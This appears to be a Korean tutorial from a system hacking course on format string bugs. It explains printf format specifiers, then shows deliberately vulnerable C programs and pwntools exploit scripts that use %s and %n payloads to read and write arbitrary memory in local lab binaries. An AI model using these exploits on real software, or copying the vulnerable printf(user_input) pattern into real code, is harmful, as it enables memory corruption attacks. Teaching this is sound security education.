Memory Corruption: Format String Bug

Dreamhack
#System Hacking

0 views

들어가며

1. 서론

  • printf("Hello World")라는 예제를 작성하면서 많은 분이 C 언어에 첫발을 내딛는다.
    • C 언어에는 write, puts, printf 등 문자열을 출력하는 다양한 함수가 있는데, 그중에서 printf는 포맷 스트링(Format String)을 이용하여 다양한 형태로 값을 출력할 수 있다는 특징이 있다.

1.1 포맷 스트링을 사용하는 함수들

  • C언어에는 printf 외에도 포맷 스트링을 인자로 사용하는 함수들이 많다. 대표적으로 다음과 같은 함수들이 있다.
    • scanf
    • fprintf
    • fscanf
    • sprintf
    • sscanf
  • 함수의 이름이 “f(formatted)”로 끝나고, 문자열을 다루는 함수라면 포맷 스트링을 처리할 것으로 추측해볼 수 있다.

1.2 취약점의 원리

  • 이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다.

주의: 그런데 이들 내부에는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는
루틴이 없다.

  • 그래서 만약 사용자가 직접 포맷 스트링을 입력할 수 있다면, 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다.
    • 심지어는 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.

1.3 포맷 스트링 버그 (FSB)

  • 포맷 스트링 함수를 잘못 사용하여 발생하는 위와 같은 버그를 포맷 스트링 버그(Format String Bug, FSB)라고 부른다
    • 1989년: 이 버그가 처음 언급됐을 때는 위험도가 낮게 평가되었다.
    • 1999년: 이 버그를 이용한 익스플로잇이 공개되면서 굉장히 위험한 버그로 재평가되었다.
  • 이번 강의에서는 이 버그에 대해 자세히 알아볼 것이다.

포맷 스트링

1. 포맷 스트링

  • 포맷 스트링은 다음과 같이 구성된다.
    • 이 중에서 FSB를 공격하는 데에 중요한 요소 네 가지에 대해서 살펴볼 것이다.
    • 그 외의 요소나 강의에서 설명하지 않은 부분에 대해서 더 자세히 알고 싶다면 cplusplus의 printf 페이지를 읽어보는 것을 추천한다.
%[parameter][flags][width][.precision][length][specifier]

1.1 Specifier

  • 형식 지정자(specifier)는 인자를 어떻게 사용할지 지정한다.
형식 지정자설명
d부호 있는 10진수 정수이다.
u부호 없는 10진수 정수이다.
s문자열이다.
x부호 없는 16진수 정수이다.
n해당하는 위치의 인자에 현재까지 사용된 문자열의 길이를 저장한다.
값을 출력하지 않는 것이다.
pvoid형 포인터이다.
  • 다음 예시를 보며 %n을 제외한 일반적인 형식 지정자가 어떻게 사용되는지 확인해본다.
    • &num 은 스택의 주소를 나타내므로 여러분들이 직접 컴파일해서 실행하면 실행할 때마다 다른 값이 나올 것이다.
// Name: fs.c
// Compile: gcc -o fs fs.c

#include <stdio.h>

int main() {
  int num;

  printf("%d\n", 123);              // "123"
  printf("%s\n", "Hello, world");  // "Hello, world"
  printf("%x\n", 0xdeadbeef);       // "deadbeef"
  printf("%p\n", &num);             // "0x7ffe6d1cb2c4"
  
  return 0;
}

1.2 Width

  • 최소 너비를 지정한다.
    • 치환되는 문자열이 이 값보다 짧을 경우, 공백 문자(' ')를 문자열 앞에 패딩해주는 것이다.
너비 지정자설명
정수정수의 값만큼을 최소 너비로 지정한다.
*인자를 두 개 사용한다. 첫 인자의 값만큼을 최소 너비로 지정해 두 번째 인자를 출력하는 것이다.
  • 다음 예시를 살펴보며 너비 지정자를 어떻게 사용하는지 이해해본다.
// Name: fs_width.c
// Compile: gcc -o fs_width fs_width.c

#include <stdio.h>

int main() {
  int num;

  printf("%8d\n", 123);                 // "      123"
  printf("%s%n: hi\n", "Alice", &num);  // "Alice: hi", num = 5
  printf("%*s: hello\n", num, "Bob");   // "  Bob: hello "
  return 0;
}

“%n”의 쓰임

포맷스트링의 인자가 문자열로 변환될 때 그 길이를 예측할 수 없기 때문에, 코드를 작성하는 시점에는 포맷 스트링이 출력될 때의 길이를 알 수 없다. 만약 프로그래머가 포맷 스트링이 출력되는 도중에 몇 글자나 출력되었는지를 코드에 사용해야 한다면, %n을 사용하여 이런 문제를 해결할 수 있다.

위의 예시 코드의 printf("%s%n: hi\n", "Alice", &num);에서는 %n의 직전까지 "Alice" 총 5글자가 출력되었기 때문에, %n의 대상인 num에 5가 담기게 된다. 그 다음 printf 문에서는 %*s의 길이 인자로 num을 사용하기 때문에, 문자열 "Bob"num의 값인 5에 맞춰서 앞에 공백 문자 2개가 추가되어 출력되는 것이다.

만약 "Alice" 대신 더 긴 문자열을 사용하더라도 num 에는 그 길이가 담길 것이고, "Bob"num 값을 통해 해당 문자열의 길이에 맞춰 출력될 것이다.

1.3 Length

  • 출력하고자 하는 변수의 크기를 지정하며, d, n 등의 형식 지정자 앞에 쓰인다.
    • 정수 값을 출력하고 싶으나 변수가 int 형이 아닌 경우에 주로 사용하는 것이다.
길이 지정자설명
hh해당 인자가 char 크기임을 나타낸다.
h해당 인자가 short int 크기임을 나타낸다.
l해당 인자가 long int 크기임을 나타낸다.
ll해당 인자가 long long int 크기임을 나타낸다.
  • 만약 char 형을 정수 형태로 출력하고 싶다면 %hhd 를 사용하면 된다.
    • 다음 코드는 각 변수형에 올바른 길이 지정자를 사용해 출력하는 예시이다.
// Name: fs_length.c
// Compile: gcc -o fs_length fs_length.c

#include <stdio.h>

int main() {
  char a = 0x12;
  short b = 0x1234;
  long c = 0x12345678;
  long long d = 0x12345678abcdef01;

  printf("%hhd\n", a);    // "18"
  printf("%hd\n", b);     // "4660"
  printf("%ld\n", c);     // "305419896"
  printf("%lld\n", d);    // "1311768467750121217"
  return 0;
}

1.4 Parameter

  • 참조할 인자의 인덱스를 지정한다.
    • 이 필드는 %[파라미터 값]$d와 같이 값 뒤에 $ 문자를 붙여 표기하는 것이다.
    • 일반적인 경우 파라미터 값을 지정하지 않고 사용해 들어온 인자의 순서대로 사용하게 되지만, 파라미터 값을 사용하면 특정 인덱스의 인자를 사용하는 것이 가능하다.
  • 여기서 중요한 부분은 파라미터 값이 전달된 인자의 갯수의 범위 내인지 확인하지 않는다는 것이다.
    • 예를 들어, 인자가 2개가 들어오더라도 %3$d 와 같이 파라미터 값으로 3을 사용하는 것이 가능하며, 이를 활용한 공격은 다음 페이지에서 확인해볼 수 있다.
  • 아래 예시는 파라미터를 사용해 서로 다른 위치의 인자를 참조해 출력하는 것이다.
// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c

#include <stdio.h>

int main() {
  int num;
  printf("%2$d, %1$d\n", 2, 1);  // "1, 2"
  return 0;
}

포맷 스트링 버그 - Read

1. 포맷 스트링 버그 (FSB)

  • 포맷 스트링 버그(Format String Bug, FSB)는 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그를 이른다.
    • 포맷 스트링을 사용자가 직접 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.

2. 포맷 스트링 버그 - Read

2.1 레지스터 및 스택 읽기

  • 다음 코드는 사용자가 임의의 포맷 스트링을 입력할 수 있는 예제 코드이다.
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c

#include <stdio.h>

int main() {
  char format[0x100];
  
  printf("Format: ");
  scanf("%s", format);
  printf(format);
  
  return 0;
}
  • 코드를 컴파일한 후 다음과 같이 %p/%p/%p/%p/%p/%p/%p/%p 를 입력해본다.
$ ./fsb_stack_read
Format: %p/%p/%p/%p/%p/%p/%p/%p
0xa/(nil)/0x7f4dad0bbaa0/(nil)/0x55f04ffdc6b0/0x7025207025207025/0x2520702520702520/0x2070252070252070
  • printf 함수에 전달한 인자가 없는데도 어떤 값들이 출력되었다.
    • 사실 이는 x86-64의 함수 호출 규약에 따라 포맷 스트링을 담고 있는 rdi의 다음 인자인 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10]이 출력된 것이다.
    • 이는 printf 함수가 인자 개수를 확인하지 않아 생기는 현상으로, 실제로는 인자가 넘어오지 않았음에도 호출 규약에 따라 인자를 참조하기 때문에 발생하는 것이다.
  • 그러므로 이를 사용해 레지스터 일부와 스택 값을 읽어오는 것이 가능하다.

2.2 임의 주소 읽기

  • 앞선 레지스터 및 스택 읽기 파트에서 주목할 점은 스택 상의 값을 사용할 수 있다는 것이다.

    • 스택에 어떤 메모리의 주소값이 적혀있다면, 해당 주소에 적혀있는 값을 파라미터 값을 활용해 읽어올 수 있다.
  • 다음 예시를 살펴본다.

    // Name: fsb_aar_example.c
    // Compile: gcc -o fsb_aar_example fsb_aar_example.c
    
    #include <stdio.h>
    
    char *secret = "THIS IS SECRET";
    
    int main() {
      char *addr = secret;
      char format[0x100];
    
      printf("Format: ");
      scanf("%s", format);
      printf(format);
    
      return 0;
    }
    
  • 코드를 컴파일 한 뒤 main 함수를 디스어셈블 해보면, addrrsp + 8 위치에, formatrsp + 0x10 위치에 있는 것을 확인할 수 있다.

    Dump of assembler code for function main:
       0x0000000000001189 <+0>:      endbr64
       0x000000000000118d <+4>:      push   rbp
       0x000000000000118e <+5>:      mov    rbp,rsp
       0x0000000000001191 <+8>:      sub    rsp,0x120
       0x0000000000001198 <+15>:     mov    rax,QWORD PTR fs:0x28
       0x00000000000011a1 <+24>:     mov    QWORD PTR [rbp-0x8],rax
       0x00000000000011a5 <+28>:     xor    eax,eax
       0x00000000000011a7 <+30>:     mov    rax,QWORD PTR [rip+0x2e62]        # 0x4010 <secret>
       0x00000000000011ae <+37>:     mov    QWORD PTR [rbp-0x118],rax
       0x00000000000011b5 <+44>:     lea    rax,[rip+0xe57]        # 0x2013
       0x00000000000011bc <+51>:     mov    rdi,rax
       0x00000000000011bf <+54>:     mov    eax,0x0
       0x00000000000011c4 <+59>:     call   0x1080 <printf@plt>
       0x00000000000011c9 <+64>:     lea    rax,[rbp-0x110]
       0x00000000000011d0 <+71>:     mov    rsi,rax
       0x00000000000011d3 <+74>:     lea    rax,[rip+0xe42]        # 0x201c
       0x00000000000011da <+81>:     mov    rdi,rax
       0x00000000000011dd <+84>:     mov    eax,0x0
       0x00000000000011e2 <+89>:     call   0x1090 <__isoc99_scanf@plt>
       0x00000000000011e7 <+94>:     lea    rax,[rbp-0x110]
       0x00000000000011ee <+101>:    mov    rdi,rax
       0x00000000000011f1 <+104>:    mov    eax,0x0
       0x00000000000011f6 <+109>:    call   0x1080 <printf@plt>
       ...
    
  • printf(format) 을 호출하는 시점에서의 rsp 값을 바탕으로 7번째 인자가 [rsp + 8] 을 나타내므로, %7$s 를 사용하면 secret 위치에 적힌 문자열을 출력시킬 수 있다.

Format: %7$s
THIS IS SECRET
  • 이를 응용하면 포맷 스트링을 담는 버퍼에 참조하고 싶은 주소를 같이 넣고, 파라미터 값을 활용해 해당 주소에 적힌 값을 읽을 수 있다.

  • 다음 코드는 앞선 코드에서 약간 변형해, secret 주소 값을 알고 있는 상태에서 secret 위치의 값을 출력하는 것이 목표이다.

    // Name: fsb_aar.c
    // Compile: gcc -o fsb_aar fsb_aar.c
    
    #include <stdio.h>
    
    const char *secret = "THIS IS SECRET";
    
    int main() {
      char format[0x100];
    
      printf("Address of `secret`: %p\n", secret);
      printf("Format: ");
      scanf("%s", format);
      printf(format);
    
      return 0;
    }
    
  • main 함수의 format 버퍼는 rsp 에 위치하므로, %7$s를 사용하면 format + 8 위치에 적혀있는 8바이트 값을 주소로 삼아 그 위치에 적힌 값을 문자열로 출력할 것이다.

  • 그러므로 다음과 같이 파이썬 코드를 작성해볼 수 있다.

    #!/usr/bin/python3
    # Name: fsb_aar.py
    
    from pwn import *
    
    p = process("./fsb_aar")
    
    p.recvuntil(b"`secret`: ")
    addr_secret = int(p.recvline()[:-1], 16)
    
    fstring = b"%7$saaaa" # Length: 8
    fstring += p64(addr_secret)
    
    p.sendline(fstring)
    
    p.interactive()
    
  • 이를 실행하면 다음과 같이 secret 위치의 값을 문자열 형태로 출력하는 것을 확인할 수 있다.

    $ python3 fsb_aar.py
    [+] Starting local process './fsb_aar': pid 727
    [*] Switching to interactive mode
    [*] Process './fsb_aar' stopped with exit code 0 (pid 727)
    Format: THIS IS SECRETaaaa\x04\xc0\x9[*] Got EOF while reading in interactive
    

포맷 스트링 버그 - Write

1. 임의 주소 쓰기

  • 임의 주소 읽기에서와 마찬가지로 포맷 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있다.

  • 다음 코드를 살펴보고, secret 값을 31337로 만드는 방법을 생각해본다.

    // Name: fsb_aaw.c
    // Compile: gcc -o fsb_aaw fsb_aaw.c
    
    #include <stdio.h>
    
    int secret;
    
    int main() {
      char format[0x100];
    
      printf("Address of `secret`: %p\n", &secret);
      printf("Format: ");
      scanf("%s", format);
      printf(format);
      
      printf("Secret: %d", secret);
    
      return 0;
    }
    
  • secret 주소를 버퍼에 담은 뒤, %[n]$n을 통해서 secret에 값을 쓴다고 했을 때 그 직전까지 31337 글자를 출력하면 된다.

    • 이 때 width를 활용해 %31337c와 같은 포맷 스트링을 사용해볼 수 있다.
  • 그러므로 다음과 같이 파이썬 코드를 작성해볼 수 있다.

    #!/usr/bin/python3
    # Name: fsb_aaw.py
    
    from pwn import *
    
    p = process("./fsb_aaw")
    
    p.recvuntil(b"`secret`: ")
    addr_secret = int(p.recvline()[:-1], 16)
    
    fstring = b"%31337c%8$n".ljust(16, b'a')
    fstring += p64(addr_secret)
    
    p.sendline(fstring)
    print(p.recvall())
    
    $ python3 ./fsb_aaw.py
    [+] Starting local process './fsb_aaw': pid 405241
    [+] Receiving all data: Done (30.63KB)                                                                                                                                                                                                   [*] Process './fsb_aaw' stopped with exit code 0 (pid 405241)
    b'Format:
    ...
    
    
                                   \naaaaa\x14\x80\x83\xba(VSecret: 31337'
    
  • 단, %n 을 사용해서 값을 넣는 경우 지금까지 출력된 글자의 수를 넣기 때문에 지나치게 큰 값은 쓸 수 없다.

    • 이 경우 n 앞에 hhh를 붙여 2바이트, 1바이트씩 쓰는 것이 가능하다.
  • 이 사실을 사용해서 0xdeadbeef를 써보도록 하겠다. 이 때 %n 은 지금까지 출력된 글자 수를 사용하기 때문에 각 바이트를 %hhn을 통해서 넣을 때 오름차순 순서대로 쓰는 것이 중요하다.

    • 0xdeadbeef의 경우, 0xad → 0xbe → 0xde → 0xef 순으로 한 바이트씩 작성하면 된다.
#!/usr/bin/python3
# Name: fsb_aaw_deadbeef.py

from pwn import *

p = process("./fsb_aaw")

p.recvuntil(b"`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = f"%{0xad}c%16$hhn".encode()
fstring += f"%{0xbe - 0xad}c%15$hhn".encode()
fstring += f"%{0xde - 0xbe}c%17$hhn".encode()
fstring += f"%{0xef - 0xde}c%14$hhn".encode()
fstring = fstring.ljust(64, b'a')
fstring += p64(addr_secret) # %14$n
fstring += p64(addr_secret + 1) # %15$n
fstring += p64(addr_secret + 2) # %16$n
fstring += p64(addr_secret + 3) # %17$n

p.sendline(fstring)
print(p.recvall())
$ python3 ./fsb_aaw_deadbeef.py
[+] Starting local process './fsb_aaw': pid 453912
[+] Receiving all data: Done (290B)
[*] Process './fsb_aaw' stopped with exit code 0 (pid 453912)
b'Format:                                
                \x00                                \xa0                \x00aaaaaaaaaaaaaaaaaaa\x14\x10+\x1dKVSecret: -559038737'
  • 실행 결과의 -559038737는 16진수로 0xdeadbeef이므로, 정상적으로 입력된 것을 확인할 수 있다.

포맷 스트링 버그 - Read Lab

1. Q1

image.png

포맷 스트링 버그 - Write Lab

1. Q1

image.png

2. Q2

image.png

마치며

1. 마치며

  • 이번 강의에서 배운 포맷 스트링 버그는 쉽게 발견되는 버그는 아니다.
    • 현대의 컴파일러는 코드에서 이 취약점을 탐지하여 컴파일 시점에 경고해주고 있으며, 포맷 스트링 버그가 발생하는 코드 패턴도 개발자들에게 널리 알려져 있다.
    • 그러나 강의에서 배웠듯, 이를 발견하면 강력한 공격 수단으로 활용할 수 있으므로 알아둘 필요는 있다.
  • 다음 강의에서는 포맷 스트링 버그를 활용하여, 예제에서 셸을 획득하는 실습을 해보겠다. 🚩

2. 키워드

  • 포맷 스트링(Format String):
    • printf를 비롯한 포맷 스트링 함수들이 파싱하여 처리하는 문자열이다.
  • 포맷 스트링 버그(Format String Bug, FSB):
    • 프로그래머가 포맷 스트링 함수를 잘못 사용하여 발생하는 버그이다. 공격자에 의해 스택 읽기, 임의 주소 쓰기, 임의 주소 읽기에 사용될 수 있다.
  • 형식 지정자(Format Specifier):
    • 포맷 스트링에 대입되는 인자의 형식을 지정한다. %d, %x, %u, %s, %n 등이 있다.

Loading comments...